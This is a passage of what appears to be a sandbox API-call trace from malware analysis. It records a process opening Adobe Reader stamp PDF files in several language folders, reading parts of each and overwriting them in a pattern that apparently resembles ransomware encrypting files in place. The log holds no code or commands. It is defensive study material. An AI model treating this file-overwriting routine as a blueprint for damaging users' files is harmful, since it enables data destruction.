dwMilliseconds=0xffffffff) returned 0x0 [0042.016] ReleaseMutex (hMutex=0x128) returned 1 [0042.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0042.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e631cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0042.016] ReadFile (in: hFile=0x170, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0042.017] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xcf82 [0042.017] ReadFile (in: hFile=0x170, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.018] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xcf82 [0042.018] WriteFile (in: hFile=0x170, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.020] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0042.020] WriteFile (in: hFile=0x170, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0042.020] CloseHandle (hObject=0x170) returned 1 [0042.020] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standard.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0042.020] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.020] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x2eb9e [0042.020] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.020] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.020] ReleaseMutex (hMutex=0x128) returned 1 [0042.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0042.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x1e631ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0042.021] ReadFile (in: hFile=0x170, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f278*=0x8000, lpOverlapped=0x0) returned 1 [0042.023] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2db9e [0042.023] ReadFile (in: hFile=0x170, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.025] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2db9e [0042.026] WriteFile (in: hFile=0x170, lpBuffer=0x2765028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2765028*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.026] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0042.026] WriteFile (in: hFile=0x170, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0042.026] CloseHandle (hObject=0x170) returned 1 [0042.026] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0042.029] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.029] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1b7c1 [0042.029] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.029] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.029] ReleaseMutex (hMutex=0x128) returned 1 [0042.029] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0042.029] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e786cc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0042.029] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0042.032] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1a7c1 [0042.032] ReadFile (in: hFile=0x170, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.033] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1a7c1 [0042.033] WriteFile (in: hFile=0x170, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.033] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0042.033] WriteFile (in: hFile=0x170, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0042.033] CloseHandle (hObject=0x170) returned 1 [0042.033] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0042.034] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.034] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xcc2c [0042.034] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.034] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.034] ReleaseMutex (hMutex=0x128) returned 1 [0042.034] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0042.034] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e6322c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0042.034] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0042.041] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xbc2c [0042.042] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.472] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xbc2c [0042.478] WriteFile (in: hFile=0x170, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.486] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0042.486] WriteFile (in: hFile=0x170, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0042.489] CloseHandle (hObject=0x170) returned 1 [0042.489] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0042.495] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.495] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x180e0 [0042.495] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.495] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.495] ReleaseMutex (hMutex=0x128) returned 1 [0042.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0042.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e786cc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0042.496] ReadFile (in: hFile=0x170, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0042.507] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x170e0 [0042.507] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.511] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x170e0 [0042.511] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.511] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0042.511] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0042.511] CloseHandle (hObject=0x170) returned 1 [0042.511] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0042.512] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.512] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xc4a8 [0042.512] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.512] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.512] ReleaseMutex (hMutex=0x128) returned 1 [0042.512] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0042.512] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e6306c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0042.512] ReadFile (in: hFile=0x170, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0042.513] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xb4a8 [0042.514] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.514] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xb4a8 [0042.514] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.514] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0042.514] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0042.515] CloseHandle (hObject=0x170) returned 1 [0042.515] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\faces.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0042.515] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.515] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x80f5 [0042.515] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.515] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.515] ReleaseMutex (hMutex=0x128) returned 1 [0042.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x1e6320c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0042.515] ReadFile (in: hFile=0x170, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0042.517] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x70f5 [0042.517] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.517] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x70f5 [0042.517] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.517] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0042.517] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0042.518] CloseHandle (hObject=0x170) returned 1 [0042.518] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0042.518] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.518] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x14758 [0042.518] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.518] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.518] ReleaseMutex (hMutex=0x128) returned 1 [0042.518] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0042.518] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e78c44, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0042.518] ReadFile (in: hFile=0x170, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0042.520] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x13758 [0042.520] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.520] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x13758 [0042.521] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.521] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0042.521] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0042.521] CloseHandle (hObject=0x170) returned 1 [0042.521] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\Dynamic.pdf" (normalized: 